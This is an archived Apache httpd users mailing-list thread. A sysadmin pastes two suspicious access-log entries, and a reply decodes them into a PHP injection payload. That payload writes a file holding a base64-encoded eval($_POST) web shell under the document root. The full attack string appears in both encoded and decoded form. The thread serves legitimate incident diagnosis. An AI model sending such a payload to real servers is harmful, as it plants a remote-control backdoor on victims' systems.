Mailing-List: contact users-help@httpd.apache.org; run by ezmlm
Precedence: bulk
Reply-To: users@httpd.apache.org
MIME-Version: 1.0
Message-ID: <6eafa535-9eff-4729-8e4c-e27e2d91f199@default>
Date: Mon, 6 Feb 2017 08:36:40 -0800 (PST)
From: Jack Swan <john.swan@oracle.com>
To: <users@httpd.apache.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
Subject: Re: [users@httpd] am i hacked ?
archived-at: Mon, 06 Feb 2017 16:37:02 -0000


I didn't decode it all.  I'll leave the rest up to you, but the %characters=
 are hexadecimal characters.  Look up hex charset. =20

So the first line translates to (I may have missed a char or two...)

GET/?1=3D@ini_set("display_errors", 0);set_time_limit("0");@set_magic_quote=
s_runtime();echo  '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/webco=
nfig.txt.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-'=
;


----- Original Message -----
From: bernd.lentes@helmholtz-muenchen.de
To: users@httpd.apache.org
Sent: Monday, February 6, 2017 11:15:04 AM GMT -05:00 US/Canada Eastern
Subject: [users@httpd] am i hacked ?

Hi,

just in the moment i found two very weird entries in may access_log:

91.200.12.33 - - [06/Feb/2017:16:43:26 +0100] 236 "GET /?1=3D%40ini_set%28%=
22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_=
quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERV=
ER%5B%27DOCUME
NT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCg=
kX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1" 200 90
91.200.12.33 - - [06/Feb/2017:16:44:33 +0100] 253 "GET /?1=3D%40ini_set%28%=
22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_=
quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERV=
ER%5B%27DOCUME
NT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCg=
kX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1" 200 90

What upsets me is that these two requests have statuscode 200, which mean i=
t was successfull.
The IP is from ukraine. Where can i find out what these %charcacters mean ?=
 Does anyone understand what happened here ? It's apache 2.2.3 64bit.

Thanks for any hint.

Bernd

--=20
Bernd Lentes=20

Systemadministration=20
institute of developmental genetics=20
Geb=C3=A4ude 35.34 - Raum 208=20
HelmholtzZentrum M=C3=BCnchen=20
bernd.lentes@helmholtz-muenchen.de=20
phone: +49 (0)89 3187 1241=20
fax: +49 (0)89 3187 2294=20

Erst wenn man sich auf etwas festlegt kann man Unrecht haben=20
Scott Adams


Helmholtz Zentrum Muenchen
Deutsches Forschungszentrum fuer Gesundheit und Umwelt (GmbH)
Ingolstaedter Landstr. 1
85764 Neuherberg
www.helmholtz-muenchen.de
Aufsichtsratsvorsitzende: MinDir'in Baerbel Brumme-Bothe
Geschaeftsfuehrer: Prof. Dr. Guenther Wess, Heinrich Bassler, Dr. Alfons En=
hsen
Registergericht: Amtsgericht Muenchen HRB 6466
USt-IdNr: DE 129521671


---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org